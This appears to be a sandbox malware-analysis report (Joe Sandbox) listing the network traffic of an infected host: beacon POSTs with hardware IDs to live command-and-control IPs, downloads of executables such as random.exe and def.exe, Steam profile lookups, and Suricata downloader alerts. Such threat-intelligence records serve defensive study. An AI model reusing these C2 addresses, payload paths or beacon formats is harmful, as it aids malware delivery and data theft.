Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 32 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001226001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 32 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001227001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBGHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 35 35 43 37 39 45 34 46 33 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="hwid"A55C79E4F37B1953448019------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="build"doma------IECBGIDAEHCGDGCBKEBG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 32 32 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001228001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 35 35 43 37 39 45 34 46 33 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 2d 2d 0d 0a Data Ascii: ------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="hwid"A55C79E4F37B1953448019------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="build"doma------FHIDAKFIJJKJJJKEBKJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 32 32 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001229001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 35 35 43 37 39 45 34 46 33 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 2d 2d 0d 0a Data Ascii: ------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="hwid"A55C79E4F37B1953448019------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="build"doma------HIDHDGDHJEGHIDGDHCGC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGDHJECFCFCAKFHCFIDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 48 4a 45 43 46 43 46 43 41 4b 46 48 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 35 35 43 37 39 45 34 46 33 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 48 4a 45 43 46 43 46 43 41 4b 46 48 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 48 4a 45 43 46 43 46 43 41 4b 46 48 43 46 49 44 2d 2d 0d 0a Data Ascii: ------EBGDHJECFCFCAKFHCFIDContent-Disposition: form-data; name="hwid"A55C79E4F37B1953448019------EBGDHJECFCFCAKFHCFIDContent-Disposition: form-data; name="build"doma------EBGDHJECFCFCAKFHCFID--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 35 35 43 37 39 45 34 46 33 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="hwid"A55C79E4F37B1953448019------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="build"doma------JJJEGHDAECBFHJKEGIJK--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBGDHIIDAEBFHJJDBFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 35 35 43 37 39 45 34 46 33 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="hwid"A55C79E4F37B1953448019------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="build"doma------JJDBGDHIIDAEBFHJJDBF--

Source: Joe Sandbox View	IP Address: 104.21.53.8 104.21.53.8
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.117.188.166 34.117.188.166

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49744 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49994 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49997 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50001 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50007 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50007 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50053 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
